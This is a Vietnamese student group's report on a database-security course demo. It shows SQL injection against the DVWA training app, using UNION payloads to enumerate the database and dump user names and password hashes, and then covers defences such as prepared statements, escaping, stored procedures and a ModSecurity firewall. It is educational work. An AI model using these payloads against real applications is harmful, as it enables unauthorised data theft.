---- DEMO TẤN CÔNG SQL INECTION VÀ CÁC CÁCH CHỐNG-----

Nhóm 8 – L01 - ATCSDL

Thành viên:

- Nguyễn Văn Khải

- Trịnh Chí An

- Nguyễn Thế Huy

- Nguyễn Thị Hương

Video thực hiện Khai thác lỗi SQL injection trên DVWA và các cách phòng chống cơ bản lỗi SQL Injection trong ứng dụng web.

DVWA là một ứng dụng mã nguồn PHP/MySQL tập hợp sẵn các lỗi logic về bảo mật ứng dụng web trong mã nguồn PHP.

Mức độ: Low-level security

**I.Phần tấn công SQL Injection**

**1.Đầu tiên ta kiểm tra xem có lỗi SQL Injection không.**

Ta sẽ thử : 1' or 0=0 #.

=>Chuỗi "1' or 0=0 #" nhập vào để thêm một điều kiện luôn đúng vào truy vấn SQL gốc, và sử dụng comment (#) để loại bỏ bất kỳ phần nào khác trong truy vấn gốc.

Câu truy vấn khi ấn submit ban đầu là :

SELECT first\_name, last\_name FROM users WHERE user\_id = '$id'

ở đây khi ta nhập chuỗi trên và ấn submit thì câu truy vấn sẽ trở thành :

SELECT first\_name, last\_name FROM users WHERE user\_id = '1' OR '0'='0'#

=> Câu lệnh trên sẽ luôn trả về thông tin trong bảng users, vì điều kiện 0=0 luôn đúng

**2. Kiểm tra phiên bản DBMS:**

Ta sẽ thử : 1' union select null, version() #

=> Union kết hợp hai truy vấn SQL để trả về kết quả từ cả hai truy vấn. null là giá trị tạm thời, còn version() trả về phiên bản của DBMS.

Tương tự như trên ta.

**3.Kiểm tra tên database:**

1' union select null, database()#

**4.Liệt kê tên các tables:**

1' union select null, table\_name from information\_schema.tables #

**information\_schema** là một cơ sở dữ liệu đặc biệt trong HQTCSDL.Nó chứa các bảng hệ thống cung cấp hông tin về các đối tượng trong cơ sở dữ liệu.

**5.Liệt kê tên các column trong table users:**

1' union select null, concat(table\_name,0x0a,column\_name) from information\_schema.columns where table\_name = 'users' #

**cat()**: Hàm dùng để nối các chuỗi lại với nhau.

**0x0a**: Đây là ký tự hex cho dòng mới (newline) trong hệ mã ASCII.

**6. Liệt kê username và password trong table users**

1' union select user, password from users #

=>mật khẩu sau khi lấy được ở dạng băm(md5) cần dịch ngược lại mật khẩu.

**II.Phần các cách phòng chống**

**1. Phương pháp Prepared Statements**

DùngCâu lệnh SQL được chuẩn bị trước và dữ liệu đầu vào được gán vào các tham số, không được chèn trực tiếp vào chuỗi SQL.ở đây ta dùng phương thức prepare().

**2.Phuơng pháp escaping**

**Escaping** là quá trình thêm các ký tự đặc biệt như dấu ', ", \, và các ký tự khác vào trước các ký tự đặc biệt trong chuỗi để bảo vệ câu lệnh SQL khỏi SQL Injection.

ở đây ta dùng hàm real\_escaping\_string.

**3.Sử dụng store procredure(thủ tục) lưu trữ ở CSDL**

Stored procedures là những đoạn mã SQL được lưu trữ trực tiếp trên máy chủ cơ sở dữ liệu, với các tham số đầu vào mà không cần viết lại mã SQL trong ứng dụng.

**4.Sử dụng tường lửa WAF**

phát hiện và chặn các chuỗi SQL độc hại hoặc các mẫu truy vấn SQL mà có khả năng dẫn đến SQL Injection.

ở đây ta sử dụng Mod security là một module tường lửa đứng trước Web Server, làm nhiệm vụ như một firewall để kiểm soát truy cập vào ra Web Server.

## +Cài đặt module security

**Truy cập vào**[**https://www.apachelounge.com/download/**](https://www.apachelounge.com/download/)**và tải về mod\_security**

Truy cập vào https://github.com/coreruleset/coreruleset/releases/tag/v3.3.4

Tải về **Core Rule Set** là một bộ quy tắc bảo mật mã nguồn mở dành cho ứng dụng web yếu được sử dụng với **ModSecurity**.

Giải nén và tìm 2 file mod\_security2.so và yajl.dll trong thư mục vừa giải nén.

copy mod\_security2.so vào ...\apache\modules

copy yajl.dll vao ...\apache\bin

LoadModule security2\_module modules/mod\_security2.so

SecRuleEngine DetectionOnly

<IfModule security2\_module>

SecRuleEngine On

SecDefaultAction "phase:2,deny,log,status:403"

Include conf/sqlinjection.conf

</IfModule>

**Sau đó coppy phần rule sqlinjection vào file sqlinjection.conf.**

Rồi restart lại Xampp Apache.